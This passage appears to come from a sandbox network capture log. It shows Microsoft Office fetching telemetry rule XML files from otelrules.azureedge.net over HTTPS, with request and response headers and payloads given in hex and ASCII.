2024-11-19 18:15:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:18 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181518Z-r1d97b9957789nh9hC1TEBxha800000007wg000000005g56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:18 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181518Z-1777c6cb7544n7p6hC1TEByvb400000008n00000000090ba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:19 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181519Z-185f5d8b95cx9g8lhC1NYCtgvc00000001g00000000089kr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:19 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181519Z-r1d97b99577sdxndhC1TEBec5n00000007sg00000000nk2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:19 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181519Z-r1d97b9957789nh9hC1TEBxha800000007s000000000mnbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:19 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181519Z-185f5d8b95c9mqtvhC1NYCghtc0000000910000000012va3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-185f5d8b95cqnkdjhC1NYCm8w800000008y000000000gr2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-1777c6cb7544nvmshC1TEBf7qc000000085g00000000tyeu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-r1d97b99577l6wbzhC1TEB3fwn00000007r000000000s3ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-r1d97b99577l6wbzhC1TEB3fwn00000007u000000000fb87 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:20 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181520Z-185f5d8b95ctl8xlhC1NYCn94g000000096000000000cppn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
